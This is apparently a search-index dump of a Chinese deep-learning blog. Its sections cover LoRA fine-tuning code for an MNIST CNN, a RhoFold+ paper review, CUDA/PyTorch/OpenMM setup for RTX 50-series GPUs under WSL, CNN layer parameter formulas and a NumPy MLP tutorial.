2, 3], keepdim=True)\rreturn feat.view(feat.size(0), -1) # [B,1]\rLoRA 包装\rclass LoRAWrapper(nn.Module):\rdef __init__(self, orig_linear, r=8, alpha=16, freeze_base=True):\rsuper().__init__()\rself.weight = nn.Parameter(orig_linear.weight.data.clone())\rself.bias = nn.Parameter(orig_linear.bias.data.clone())\rif freeze_base:\rself.weight.requires_grad = False\rself.bias.requires_grad = False\rself.A = nn.Parameter(torch.randn(r, orig_linear.in_features) * 0.01)\rself.B = nn.Parameter(torch.zeros(orig_linear.out_features, r))\rself.scaling = alpha / r\rdef forward(self, x):\rbase = F.linear(x, self.weight, self.bias)\rreturn base + self.scaling * ((x @ self.A.t()) @ self.B.t())\rLoRA 对CNN模型中的全连接层 fc1 和 fc2 进行包裹，使得训练时仅更新增量矩阵。 迁移权重\rdef load_base_into_feature_model(model_feat, base_state):\rnew_state = model_feat.state_dict()\rfor key in base_state:\rif key not in new_state:\rcontinue\rold_w = base_state[key]\rnew_w = new_state[key]\r# 如果 shape 相同，直接复制\rif old_w.shape == new_w.shape:\rnew_state[key] = old_w.clone()\r# 如果是 fc1.weight，需要特殊处理\relif key == \"fc1.weight\":\r# old: [128, 1568], new: [128, 1569]\rnew_state[key][:, :old_w.shape[1]] = old_w.clone()\r# 最后一列保持原随机初始化（不改）\r# fc1.bias 是 same shape，所以走上面的分支\relse:\r# 其他不匹配的层保持原始随机值\rpass\rmodel_feat.load_state_dict(new_state)\r对于 fc1.weight 这种因新增额外特征而多出一列的层，只拷贝已有列，新增列保持随机初始化。 ","date":"2025-11-20","heading":"LoRA 包装","objectID":"/blog/posts/deep-learning/lora/:2:0","tags":["LoRA","DL"],"title":"LoRA 原理与实战","uri":"/blog/posts/deep-learning/lora/#lora-包装"},{"categories":["深度学习"],"collections":null,"content":"2. 小型实验：MNIST 新增特征微调\rBase 模型：普通小型 CNN，不带额外特征 Feature 模型：输入额外亮度特征 + LoRA 微调流程：先训练 base，迁移权重到 feature 模型，只训练 LoRA 和新增特征 CNN模型\rclass CNN(nn.Module):\rdef __init__(self, feature_dim=0):\rsuper().__init__()\rself.feature_dim = feature_dim\rself.conv = nn.Sequential(\rnn.Conv2d(1, 8, 3, padding=1),\rnn.ReLU(),\rnn.MaxPool2d(2),\rnn.Conv2d(8, 16, 3, padding=1),\rnn.ReLU(),\rnn.MaxPool2d(2)\r)\rself.flatten_dim = 16 * 7 * 7\r# 原本 fc1 输入是 flatten_dim\r# 如果 feature_dim \u003e 0，输入变成 flatten_dim + feature_dim\rself.fc1 = nn.Linear(self.flatten_dim + feature_dim, 64)\rself.fc2 = nn.Linear(64, 10)\rdef forward(self, x, feat=None):\rx = self.conv(x)\rx = x.view(x.size(0), -1)\r# 若有额外特征，则拼接\rif self.feature_dim \u003e 0:\rx = torch.cat([x, feat], dim=1)\rx = F.relu(self.fc1(x))\rx = self.fc2(x)\rreturn x\rfeature_dim=0 → base CNN feature_dim=1 → CNN + 额外亮度特征 额外亮度特征 def extra_feature_brightness(img_batch):\rfeat = img_batch.mean(dim=[1, 2, 3], keepdim=True)\rreturn feat.view(feat.size(0), -1) # [B,1]\rLoRA 包装\rclass LoRAWrapper(nn.Module):\rdef __init__(self, orig_linear, r=8, alpha=16, freeze_base=True):\rsuper().__init__()\rself.weight = nn.Parameter(orig_linear.weight.data.clone())\rself.bias = nn.Parameter(orig_linear.bias.data.clone())\rif freeze_base:\rself.weight.requires_grad = False\rself.bias.requires_grad = False\rself.A = nn.Parameter(torch.randn(r, orig_linear.in_features) * 0.01)\rself.B = nn.Parameter(torch.zeros(orig_linear.out_features, r))\rself.scaling = alpha / r\rdef forward(self, x):\rbase = F.linear(x, self.weight, self.bias)\rreturn base + self.scaling * ((x @ self.A.t()) @ self.B.t())\rLoRA 对CNN模型中的全连接层 fc1 和 fc2 进行包裹，使得训练时仅更新增量矩阵。 迁移权重\rdef load_base_into_feature_model(model_feat, base_state):\rnew_state = model_feat.state_dict()\rfor key in base_state:\rif key not in new_state:\rcontinue\rold_w = base_state[key]\rnew_w = new_state[key]\r# 如果 shape 相同，直接复制\rif old_w.shape == new_w.shape:\rnew_state[key] = old_w.clone()\r# 如果是 fc1.weight，需要特殊处理\relif key == \"fc1.weight\":\r# old: [128, 1568], new: [128, 1569]\rnew_state[key][:, :old_w.shape[1]] = old_w.clone()\r# 最后一列保持原随机初始化（不改）\r# fc1.bias 是 same shape，所以走上面的分支\relse:\r# 其他不匹配的层保持原始随机值\rpass\rmodel_feat.load_state_dict(new_state)\r对于 fc1.weight 这种因新增额外特征而多出一列的层，只拷贝已有列，新增列保持随机初始化。 ","date":"2025-11-20","heading":"迁移权重","objectID":"/blog/posts/deep-learning/lora/:2:0","tags":["LoRA","DL"],"title":"LoRA 原理与实战","uri":"/blog/posts/deep-learning/lora/#迁移权重"},{"categories":["深度学习"],"collections":null,"content":"训练流程\r训练 Base CNN → 保存权重 构建 Feature CNN + LoRA → 迁移 base 权重 微调 Feature CNN，仅训练 LoRA 参数 + 额外特征 记录训练/测试准确率 迁移 fc1 权重时注意： Base fc1: [64, 784] Feature fc1: [64, 784 + 1] 前 1568 列拷贝，最后一列随机初始化 ","date":"2025-11-20","heading":"训练流程","objectID":"/blog/posts/deep-learning/lora/:2:1","tags":["LoRA","DL"],"title":"LoRA 原理与实战","uri":"/blog/posts/deep-learning/lora/#训练流程"},{"categories":["深度学习"],"collections":null,"content":"实验结果\rBase CNN 收敛到合理准确率 Feature+LoRA 微调后，利用额外特征可以轻微提升 ","date":"2025-11-20","heading":"实验结果","objectID":"/blog/posts/deep-learning/lora/:2:2","tags":["LoRA","DL"],"title":"LoRA 原理与实战","uri":"/blog/posts/deep-learning/lora/#实验结果"},{"categories":["科研笔记"],"collections":null,"content":"模型架构\rRhoFold+是一个全可微分的端到端框架，从RNA序列输入直接输出全原子3D结构。架构分为几个关键模块： 输入处理和特征提取： RNA-FM：一个12层Transformer模型，预训练于23.7百万未标注RNA序列（来自80万种物种）。它从输入序列中提取嵌入，捕捉进化信息和结构模式，而无需依赖MSA。 RNA-FM\r└─ Transformer layer × 12\r├─ Multi-head self-attention // 多头注意力\r├─ Add and norm // 第一次残差+归一化\r├─ Feed-forward network // 小的MLP\r└─ Add and norm // 第二次残差+归一化\rMSA生成：并行搜索大型序列数据库（nt和Rfam）生成MSA特征，作为补充输入。 输入：核苷酸序列的初始embedding 输出：contextual embedding Rhoformer + Structure Module： Rhoformer (12 layers)：使用attention更新embedding Structure Module (8 layers)：使用IPA等机制生成全原子坐标 Recycling × 10 IPA（Invariant Point Attention） 在 Structure Module 中，IPA 用于将残基嵌入映射到三维坐标，同时保持几何不变性。它将每个残基表示映射为若干“点”，再对这些点使用注意力机制更新嵌入和坐标。核心特点是： 保持旋转、平移不变性 学习残基间空间相互作用 支持全原子坐标预测 ","date":"2025-11-15","heading":"模型架构","objectID":"/blog/posts/research-notes/paper-review-rhofold/:1:0","tags":["RNA","transformer","DL"],"title":"RhoFold (2024)：使用基于语言模型的深度学习方法进行精确的RNA 3D结构预测","uri":"/blog/posts/research-notes/paper-review-rhofold/#模型架构"},{"categories":["科研笔记"],"collections":null,"content":"训练和优化\r数据集：从PDB中提取5,583条RNA链（分辨率\u0026lt;4.0 Å，长度16-256核苷酸），聚类后得到782个非冗余簇（80%序列相似度阈值）。 损失函数： L=Lmlm+0.3×Ldis+0.1×Lss+0.03×Lclash+2×LFAPE+0.1×Lss3d+0.01×Lplddt.\rL = L_{\\text{mlm}} + 0.3 \\times L_{\\text{dis}} + 0.1 \\times L_{\\text{ss}} + 0.03 \\times L_{\\text{clash}} + 2 \\times L_{\\text{FAPE}} + 0.1 \\times L_{\\text{ss3d}} + 0.01 \\times L_{\\text{plddt}}.\rL=Lmlm​+0.3×Ldis​+0.1×Lss​+0.03×Lclash​+2×LFAPE​+0.1×Lss3d​+0.01×Lplddt​. L_mlm：掩码语言模型损失：让模型学会 RNA 序列本身的上下文规律，即使没有 MSA 也能理解序列 L_dis：距离图损失：监督关键原子对（如 P–C4\u0026rsquo;）的距离分布，提供全局几何约束 L_ss：二级结构分类损失：让每个碱基正确预测是 helix、loop 还是 coil L_clash：原子冲突惩罚：防止预测结构里原子重叠 L_FAPE：帧对齐点误差（权重最高 2.0）：预测坐标与真实坐标的几何误差 L_ss3d：3D 感知二级结构损失：要求预测的碱基配对在三维空间里靠得近、方向对 L_plddt：置信度回归损失：让输出的 pLDDT 分数真实反映局部预测误差，越准分数越高 训练策略： 优化器：Adam（基础学习率 3e-4） 学习率调度：10,000 步 warm-up → 之后 polynomial decay（多项式衰减） 训练步数：300,000 迭代（相当于 1,600 epochs） Batch size：16 Dropout：Rhoformer 和 Structure Module 均使用 0.1 ","date":"2025-11-15","heading":"训练和优化","objectID":"/blog/posts/research-notes/paper-review-rhofold/:2:0","tags":["RNA","transformer","DL"],"title":"RhoFold (2024)：使用基于语言模型的深度学习方法进行精确的RNA 3D结构预测","uri":"/blog/posts/research-notes/paper-review-rhofold/#训练和优化"},{"categories":["科研笔记"],"collections":null,"content":"硬件要求\r训练（Training） GPU：8 × NVIDIA A100 (80GB) CPU：Intel Xeon Gold 6230（64 核） 内存：768 GB 总训练时长：≈ 7 天 模型参数规模：126,913,743 推理（Inference） 1 张 A100：0.14 秒出结构 5070Ti (16 GB) ：3.3 秒出结构 ","date":"2025-11-15","heading":"硬件要求","objectID":"/blog/posts/research-notes/paper-review-rhofold/:3:0","tags":["RNA","transformer","DL"],"title":"RhoFold (2024)：使用基于语言模型的深度学习方法进行精确的RNA 3D结构预测","uri":"/blog/posts/research-notes/paper-review-rhofold/#硬件要求"},{"categories":["科研笔记"],"collections":null,"content":"参考文献\rShen, T., Hu, Z., Sun, S. et al. Accurate RNA 3D structure prediction using a language model-based deep learning approach. Nat Methods 21, 2287–2298 (2024). https://doi.org/10.1038/s41592-024-02487-0 ","date":"2025-11-15","heading":"参考文献","objectID":"/blog/posts/research-notes/paper-review-rhofold/:4:0","tags":["RNA","transformer","DL"],"title":"RhoFold (2024)：使用基于语言模型的深度学习方法进行精确的RNA 3D结构预测","uri":"/blog/posts/research-notes/paper-review-rhofold/#参考文献"},{"categories":["环境配置"],"collections":null,"content":"深度学习环境搭建（Anaconda、CUDA13.0、cuDNN）\r如果不是从源码构建，那么Pytorch和OpenMM安装不需要CUDA13.0和cuDNN。 Anaconda/Miniconda\r安装 Miniconda — Anaconda 文档 CUDA13.0\rCUDA Toolkit 13.0 Update 2 Downloads | NVIDIA Developer Installer Type 选用 deb (network) 方便一点 cuDNN\rCUDA 深度神经网络库 (cuDNN) | NVIDIA 开发者 ","date":"2025-11-15","heading":"深度学习环境搭建（Anaconda、CUDA13.0、cuDNN）","objectID":"/blog/posts/environment/dl-build/:1:0","tags":["conda","cuda","cudnn","torch","openmm"],"title":"50 系显卡 (SM120) 科学计算与深度学习环境在 WSL 上的搭建","uri":"/blog/posts/environment/dl-build/#深度学习环境搭建anacondacuda130cudnn"},{"categories":["环境配置"],"collections":null,"content":"深度学习环境搭建（Anaconda、CUDA13.0、cuDNN）\r如果不是从源码构建，那么Pytorch和OpenMM安装不需要CUDA13.0和cuDNN。 Anaconda/Miniconda\r安装 Miniconda — Anaconda 文档 CUDA13.0\rCUDA Toolkit 13.0 Update 2 Downloads | NVIDIA Developer Installer Type 选用 deb (network) 方便一点 cuDNN\rCUDA 深度神经网络库 (cuDNN) | NVIDIA 开发者 ","date":"2025-11-15","heading":"Anaconda/Miniconda","objectID":"/blog/posts/environment/dl-build/:1:0","tags":["conda","cuda","cudnn","torch","openmm"],"title":"50 系显卡 (SM120) 科学计算与深度学习环境在 WSL 上的搭建","uri":"/blog/posts/environment/dl-build/#anacondaminiconda"},{"categories":["环境配置"],"collections":null,"content":"深度学习环境搭建（Anaconda、CUDA13.0、cuDNN）\r如果不是从源码构建，那么Pytorch和OpenMM安装不需要CUDA13.0和cuDNN。 Anaconda/Miniconda\r安装 Miniconda — Anaconda 文档 CUDA13.0\rCUDA Toolkit 13.0 Update 2 Downloads | NVIDIA Developer Installer Type 选用 deb (network) 方便一点 cuDNN\rCUDA 深度神经网络库 (cuDNN) | NVIDIA 开发者 ","date":"2025-11-15","heading":"CUDA13.0","objectID":"/blog/posts/environment/dl-build/:1:0","tags":["conda","cuda","cudnn","torch","openmm"],"title":"50 系显卡 (SM120) 科学计算与深度学习环境在 WSL 上的搭建","uri":"/blog/posts/environment/dl-build/#cuda130"},{"categories":["环境配置"],"collections":null,"content":"深度学习环境搭建（Anaconda、CUDA13.0、cuDNN）\r如果不是从源码构建，那么Pytorch和OpenMM安装不需要CUDA13.0和cuDNN。 Anaconda/Miniconda\r安装 Miniconda — Anaconda 文档 CUDA13.0\rCUDA Toolkit 13.0 Update 2 Downloads | NVIDIA Developer Installer Type 选用 deb (network) 方便一点 cuDNN\rCUDA 深度神经网络库 (cuDNN) | NVIDIA 开发者 ","date":"2025-11-15","heading":"cuDNN","objectID":"/blog/posts/environment/dl-build/:1:0","tags":["conda","cuda","cudnn","torch","openmm"],"title":"50 系显卡 (SM120) 科学计算与深度学习环境在 WSL 上的搭建","uri":"/blog/posts/environment/dl-build/#cudnn"},{"categories":["环境配置"],"collections":null,"content":"Pytorch安装\r参考Pytorch官网教程 安装 pip install torch torchvision --index-url https://download.pytorch.org/whl/cu130\r检验 python -c \"import torch; print(f\\\"CUDA available: {'Yes' if torch.cuda.is_available() else 'No'}\\\"); print(f\\\"Number of CUDA devices: {torch.cuda.device_count() if torch.cuda.is_available() else 0}\\\"); print(f\\\"Device 0: {torch.cuda.get_device_name(0) if torch.cuda.is_available() else 'No GPU'}\\\")\"\r","date":"2025-11-15","heading":"Pytorch安装","objectID":"/blog/posts/environment/dl-build/:2:0","tags":["conda","cuda","cudnn","torch","openmm"],"title":"50 系显卡 (SM120) 科学计算与深度学习环境在 WSL 上的搭建","uri":"/blog/posts/environment/dl-build/#pytorch安装"},{"categories":["环境配置"],"collections":null,"content":"OpenMM安装\r参考2. Getting Started — OpenMM User Guide 8.4 documentation 安装 pip install openmm[cuda13]\r检验 python -m openmm.testInstallation\r","date":"2025-11-15","heading":"OpenMM安装","objectID":"/blog/posts/environment/dl-build/:3:0","tags":["conda","cuda","cudnn","torch","openmm"],"title":"50 系显卡 (SM120) 科学计算与深度学习环境在 WSL 上的搭建","uri":"/blog/posts/environment/dl-build/#openmm安装"},{"categories":["环境配置"],"collections":null,"content":"问题背景\rConda、Docker 等技术的确非常强大，它们可以实现“一次开发，到处部署”，在操作系统层面保证兼容性。然而，当遇到 硬件不兼容 时，这类工具就无能为力，需要手动干预。 例如，我想运行别人提供的深度学习项目，并使用 Conda 管理环境。原项目的 env.yaml 中指定了： dependencies:\rpytorch=1.10.2=py3.7_cuda11.3_cudnn8.2.0_0\r然而我的显卡是 RTX 5070 Ti（50 系列），直接conda create -f 后运行项目会报错： NVIDIA GeForce RTX 5070 Ti with CUDA capability sm_120 is not compatible with the current PyTorch installation.\rThe current PyTorch install supports CUDA capabilities sm_37 sm_50 sm_60 sm_61 sm_70 sm_75 sm_80 sm_86 compute_37.\rIf you want to use the NVIDIA GeForce RTX 5070 Ti GPU with PyTorch, please check the instructions at https://pytorch.org/get-started/locally/\r这种情况下，只有两个选择：要么换机器，要么重新构建依赖环境。 更麻烦的是，支持 50 系显卡的 PyTorch 版本至少要求 Python 3.10，也就是说小改 env.yaml 根本无法解决问题（其他库版本过老又没法支持 Python 3.10了），只能做较大幅度的调整。 ","date":"2025-11-14","heading":"问题背景","objectID":"/blog/posts/environment/conda-dependence-upgrade/:1:0","tags":["conda"],"title":"通过升级 Python 依赖解决 Conda 项目无法使用 NVIDIA 50 系显卡的问题","uri":"/blog/posts/environment/conda-dependence-upgrade/#问题背景"},{"categories":["环境配置"],"collections":null,"content":"全升级方案\r可以先试一试不管库的版本，直接升级到 Python3.10. 依然先构建环境 conda create -f env.yaml\r然后导出pip依赖 pip freeze \u003e requirements.txt\r清理所有固定版本和本地/远程来源，只保留包名，使用python脚本 #!/usr/bin/env python3\rimport re\rinput_file = \"requirements.txt\"\routput_file = \"requirements.txt\"\rcleaned = []\rwith open(input_file, \"r\", encoding=\"utf-8\") as f:\rfor line in f:\rline = line.strip()\rif not line or line.startswith(\"#\"):\rcontinue\r# 去掉 @ 后面的内容\rpkg = re.split(r\"\\s*@\\s*\", line)[0]\r# 去掉 ==、\u003e=、\u003c=、~=、\u003e、\u003c 等版本信息\rpkg = re.split(r\"[\u003e\u003c=~!]+\", pkg)[0]\rpkg = pkg.strip()\rif pkg:\rcleaned.append(pkg)\rwith open(output_file, \"w\", encoding=\"utf-8\") as f:\rf.write(\"\\n\".join(cleaned))\rprint(f\"✔ 清理完成！已生成: {output_file}\")\r然后另建虚拟环境pip install -r requirements.txt即可。 注意某些gpu版本的库应该从requirements.txt中删去，然后根据官网教程自行安装，可参考 /posts/environment/dl-build/\r/posts/environment/dl-build/\r这个方法简单粗暴，然而如果项目中有些库的用法过时了，这个方法后续也很麻烦，要么手动降低报错库的版本，要么改代码。 ","date":"2025-11-14","heading":"全升级方案","objectID":"/blog/posts/environment/conda-dependence-upgrade/:2:0","tags":["conda"],"title":"通过升级 Python 依赖解决 Conda 项目无法使用 NVIDIA 50 系显卡的问题","uri":"/blog/posts/environment/conda-dependence-upgrade/#全升级方案"},{"categories":["深度学习"],"collections":null,"content":"卷积层（Convolutional Layer, CONV-K-N）\r功能：提取局部特征。 符号含义： KKK — 滤波器尺寸（Kernel size）：卷积滤波器的宽度和高度，通常为正方形，表示为 K×KK \\times KK×K。 NNN — 滤波器个数（Number of filters）：卷积层中滤波器的数量，决定了该层的 输出通道数 (Cout=NC_{out} = NCout​=N)。 PPP — 填充（Padding）：在输入特征图的边缘补充像素，以保证输入和输出的特征图尺寸满足特定需求。 SSS — 步幅（Stride）：卷积核每次移动的步长，定义了滤波器如何滑动覆盖输入特征图。 输出维度： Hout=⌊Hin−K+2PS+1⌋,Wout=⌊Win−K+2PS+1⌋,Cout=N\rH_{\\text{out}} = \\lfloor \\frac{H_{\\text{in}} - K + 2P}{S} + 1 \\rfloor, \\quad\rW_{\\text{out}} = \\lfloor \\frac{W_{\\text{in}} - K + 2P}{S} + 1 \\rfloor, \\quad\rC_{out} = N\rHout​=⌊SHin​−K+2P​+1⌋,Wout​=⌊SWin​−K+2P​+1⌋,Cout​=N⌊X⌋\\lfloor X \\rfloor⌊X⌋ 表示向下取整，可以想象滑动窗口滑到最后一步时，还剩余一部分无法卷积。 same模式：当 P=(K−1)/2P=(K-1)/2P=(K−1)/2 时， Hout=⌈Hin/S⌉,Wout=⌈Win/S⌉\rH_{\\text{out}}= \\lceil H_{\\text{in}}/S \\rceil, \\quad\rW_{\\text{out}}= \\lceil W_{\\text{in}}/S \\rceil\rHout​=⌈Hin​/S⌉,Wout​=⌈Win​/S⌉⌈X⌉\\lceil X \\rceil⌈X⌉ 表示向上取整，注意此时 KKK 必须为奇数。Pytorch 中当 S=1S=1S=1 时可指定 padding='same' 以保证图片尺寸不变。 参数数量： weights=K×K×Cout×Cin,bias=Cout\r\\text{weights} = K \\times K \\times C_{\\text{out}} \\times C_{\\text{in}}, \\quad\r\\text{bias} = C_{\\text{out}}\rweights=K×K×Cout​×Cin​,bias=Cout​ ","date":"2025-11-07","heading":"卷积层（Convolutional Layer, CONV-K-N）","objectID":"/blog/posts/deep-learning/cnn-params/:1:0","tags":["CNN","DL"],"title":"CNN 网络中的参数计算","uri":"/blog/posts/deep-learning/cnn-params/#卷积层convolutional-layer-conv-k-n"},{"categories":["深度学习"],"collections":null,"content":"反卷积层（Transposed Convolutional Layer, DECONV-K-N）\r功能：反卷积层用于在卷积操作的基础上执行空间维度的上采样，恢复特征图的分辨率，同时保留原始的局部特征。它被广泛应用于生成式模型（如 GANs）、图像重建（如去噪）以及语义分割任务中。 符号含义： KKK — 滤波器尺寸（Kernel size），与卷积层相同。 NNN — 滤波器个数，决定反卷积的 输出通道数 (Cout=NC_{out}=NCout​=N)。 PPP — 填充（Padding），影响输出的大小。 SSS — 步幅（Stride），定义输出的特征图增长速率。 OOO — 输出填充（Output Padding），用于调整上采样结果的尺寸，尤其当目标尺寸不是反卷积层计算出的标准尺寸时。 输出维度： Hout=S⋅(Hin−1)−2P+K+O,Wout=S⋅(Win−1)−2P+K+O\rH_{\\text{out}} = S \\cdot (H_{\\text{in}} - 1) - 2P + K + O, \\quad\rW_{\\text{out}} = S \\cdot (W_{\\text{in}} - 1) - 2P + K + O\rHout​=S⋅(Hin​−1)−2P+K+O,Wout​=S⋅(Win​−1)−2P+K+O其中 OOO 是输出填充，用于微调输出尺寸。 same模式：当 P=(K−1)/2P=(K-1)/2P=(K−1)/2 且 O=S−1O=S-1O=S−1 时， Hout=Hin×S,Wout=Win×S\rH_{\\text{out}}=H_{\\text{in}} \\times S, \\quad\rW_{\\text{out}}=W_{\\text{in}} \\times S\rHout​=Hin​×S,Wout​=Win​×S当 S≠1S\\ne 1S=1 时，以 same 模式做卷积和反卷积后，图片尺寸可能变化，这是因为卷积时图片尺寸不能整除 SSS，此时需要微调 OOO。 参数数量：反卷积层的参数数量与标准卷积层相同： weights=K×K×Cout×Cin,bias=Cout\r\\text{weights} = K \\times K \\times C_{\\text{out}} \\times C_{\\text{in}}, \\quad\r\\text{bias} = C_{\\text{out}}\rweights=K×K×Cout​×Cin​,bias=Cout​ ","date":"2025-11-07","heading":"反卷积层（Transposed Convolutional Layer, DECONV-K-N）","objectID":"/blog/posts/deep-learning/cnn-params/:2:0","tags":["CNN","DL"],"title":"CNN 网络中的参数计算","uri":"/blog/posts/deep-learning/cnn-params/#反卷积层transposed-convolutional-layer-deconv-k-n"},{"categories":["深度学习"],"collections":null,"content":"池化层（Pooling Layer, POOL-K）\r功能：降低特征图的尺寸，增强特征的平移不变性。 输出维度： Hout=⌊Hin/K⌋,Wout=⌊Win/K⌋,Cout=Cin\rH_{\\text{out}} = \\lfloor H_{\\text{in}}/K \\rfloor, \\quad\rW_{\\text{out}} = \\lfloor W_{\\text{in}}/K \\rfloor, \\quad\rC_{out} = C_{in}\rHout​=⌊Hin​/K⌋,Wout​=⌊Win​/K⌋,Cout​=Cin​ 参数数量： weights=0,bias=0\r\\text{weights} = 0, \\quad \\text{bias} = 0\rweights=0,bias=0 ","date":"2025-11-07","heading":"池化层（Pooling Layer, POOL-K）","objectID":"/blog/posts/deep-learning/cnn-params/:3:0","tags":["CNN","DL"],"title":"CNN 网络中的参数计算","uri":"/blog/posts/deep-learning/cnn-params/#池化层pooling-layer-pool-k"},{"categories":["深度学习"],"collections":null,"content":"全连接层（Fully Connected Layer, FC-N）\r功能：将特征图展平后与全连接层的每个神经元相连，用于最终分类或回归。 输出维度： Output=O\r\\text{Output} = O\rOutput=O根据实际分类需求而定。 参数数量： weights=I×O,bias=O\r\\text{weights} = I \\times O, \\quad \\text{bias} = O\rweights=I×O,bias=Oweights\\text{weights}weights 是一个输入到输出的线性变换矩阵，bias\\text{bias}bias 是和输出维度相同的偏置。 ","date":"2025-11-07","heading":"全连接层（Fully Connected Layer, FC-N）","objectID":"/blog/posts/deep-learning/cnn-params/:4:0","tags":["CNN","DL"],"title":"CNN 网络中的参数计算","uri":"/blog/posts/deep-learning/cnn-params/#全连接层fully-connected-layer-fc-n"},{"categories":["深度学习"],"collections":null,"content":"一、数据集的下载和处理\r","date":"2025-11-07","heading":"一、数据集的下载和处理","objectID":"/blog/posts/deep-learning/mlp-manual/:1:0","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#一数据集的下载和处理"},{"categories":["深度学习"],"collections":null,"content":"下载数据\r直接调用官方库 train_dataset = datasets.MNIST(root='./data', train=True, download=True)\rtest_dataset = datasets.MNIST(root='./data', train=False)\r","date":"2025-11-07","heading":"下载数据","objectID":"/blog/posts/deep-learning/mlp-manual/:1:1","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#下载数据"},{"categories":["深度学习"],"collections":null,"content":"数据处理与分割\r将图像数据从二维数组展平为一维数组，方便MLP处理，并将数据除以255以归一化；官方以为我们划分好了训练集和测试集，我们还需从训练集划分10000条数据（与测试集同种规模）到验证集，代码如下： # 将数据转换为适合训练的格式\rimg_train = train_dataset.data.view(-1, 28*28).float() / 255.0\rlabel_train = train_dataset.targets\rimg_test = test_dataset.data.view(-1, 28*28).float() / 255.0\rlabel_test = test_dataset.targets\r# 将训练集的后 10,000 条数据作为验证集\rimg_val = img_train[-10000:]\rlabel_val = label_train[-10000:]\rimg_train = img_train[:-10000]\rlabel_train = label_train[:-10000]\r当前数据集是torch形式，因为我们要用numpy建立神经网络，应该将数据集转化为numpy数组： img_train_np = img_train.numpy()\rlabel_train_np = label_train.numpy()\rimg_val_np = img_val.numpy()\rlabel_val_np = label_val.numpy()\rimg_test_np = img_test.numpy()\rlabel_test_np = label_test.numpy()\r","date":"2025-11-07","heading":"数据处理与分割","objectID":"/blog/posts/deep-learning/mlp-manual/:1:2","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#数据处理与分割"},{"categories":["深度学习"],"collections":null,"content":"数据集加载器\r模仿torch的DataLoader，我们也需要一个数据集加载器，以实现下面两种功能 将每次训练所需的batch_size数据进行封装，制成一个迭代器。 在每次epoch开始时，将训练集数据随机打乱，使训练更充分，防止过拟合。 class NumpyDataLoader:\rdef __init__(self, dataset, labels, batch_size=64, shuffle=True):\rself.dataset = dataset\rself.labels = labels\rself.batch_size = batch_size\rself.shuffle = shuffle\rself.indices = np.arange(len(dataset))\rself.current_index = 0\rif self.shuffle:\rnp.random.shuffle(self.indices)\rdef __iter__(self):\rself.current_index = 0\rif self.shuffle:\rnp.random.shuffle(self.indices)\rreturn self\rdef __next__(self):\rif self.current_index \u003e= len(self.dataset):\rraise StopIteration\rbatch_indices = self.indices[self.current_index:self.current_index + self.batch_size]\rbatch_data = self.dataset[batch_indices]\rbatch_labels = self.labels[batch_indices]\rself.current_index += self.batch_size\rreturn batch_data, batch_labels\rdef __len__(self):\rreturn int(np.ceil(len(self.dataset) / self.batch_size))\r","date":"2025-11-07","heading":"数据集加载器","objectID":"/blog/posts/deep-learning/mlp-manual/:1:3","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#数据集加载器"},{"categories":["深度学习"],"collections":null,"content":"二、全连接层\r","date":"2025-11-07","heading":"二、全连接层","objectID":"/blog/posts/deep-learning/mlp-manual/:2:0","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#二全连接层"},{"categories":["深度学习"],"collections":null,"content":"全连接层-\u0026gt;向前传播\r数学模型 y=xW+b\r\\begin{equation}\r\\boldsymbol{y}=\\boldsymbol{xW}+\\boldsymbol{b}\r\\end{equation}\ry=xW+b​​ 其中y\\boldsymbol{y}y是输出，x\\boldsymbol{x}x是输入，W\\boldsymbol{W}W 是权重矩阵，b\\boldsymbol{b}b 是偏置向量。 代码 def forward(self, x):\rself.x = x\rreturn np.dot(x, self.W) + self.b\r","date":"2025-11-07","heading":"全连接层-\u0026gt;向前传播","objectID":"/blog/posts/deep-learning/mlp-manual/:2:1","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#全连接层-向前传播"},{"categories":["深度学习"],"collections":null,"content":"全连接层-\u0026gt;反向传播\r数学推导 用指标运算重写全连接层的数学模型（采用爱因斯坦求和约定，后续公式也均采用此约定）。 yj=xiWij+bj\r\\begin{equation}\r\\boldsymbol{y}_j=\\boldsymbol{x}_{i}\\boldsymbol{W}_{ij}+\\boldsymbol{b}_j\r\\end{equation}\ryj​=xi​Wij​+bj​​​ 将yj\\boldsymbol{y}_jyj​​对每个变量分别求偏导，得到： {∂yj∂Wij=xi,∂yj∂bj=1,∂yj∂xi=Wij.\r\\begin{equation}\r\\left\\{\r\\begin{aligned}\r\\frac{\\partial \\boldsymbol{y}_j}{\\partial \\boldsymbol{W}_{ij}} \u0026amp;= \\boldsymbol{x}_i, \\\\\r\\frac{\\partial \\boldsymbol{y}_j}{\\partial \\boldsymbol{b}_j} \u0026amp;= 1,\\\\\r\\frac{\\partial \\boldsymbol{y}_j}{\\partial \\boldsymbol{x}_i} \u0026amp;= \\boldsymbol{W}_{ij}.\r\\end{aligned}\r\\right.\r\\end{equation}\r⎩⎨⎧​∂Wij​∂yj​​∂bj​∂yj​​∂xi​∂yj​​​=xi​,=1,=Wij​.​​​ 由链式法则，交叉熵损失C\\boldsymbol{C}C对y\\boldsymbol{y}y的偏导应由后一层网络反向传播求出。在这一层中，我们应在∂C∂y\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}}∂y∂C​基础上实现C\\boldsymbol{C}C对网络参数的偏导，以及将反向传播到下一层中的∂C∂x\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{x}}∂x∂C​. ∂C∂Wij=∂C∂yj∂yj∂Wij=∂C∂yjxi=(xT∂C∂y)ij∂C∂bj=∂C∂yi∂yi∂bj=∂C∂yiδij∂yj∂bj=(1 ∂C∂y)j∂C∂xi=∂C∂yj∂yj∂xi=∂C∂yjWij=∂C∂yj(W)jiT=(∂C∂yWT)i\r\\begin{equation}\r\\begin{aligned}\r\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{W}_{ij}} \u0026amp;= \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}_j} \\frac{\\partial \\boldsymbol{y}_j}{\\partial \\boldsymbol{W}_{ij}} \\\\\r\u0026amp;= 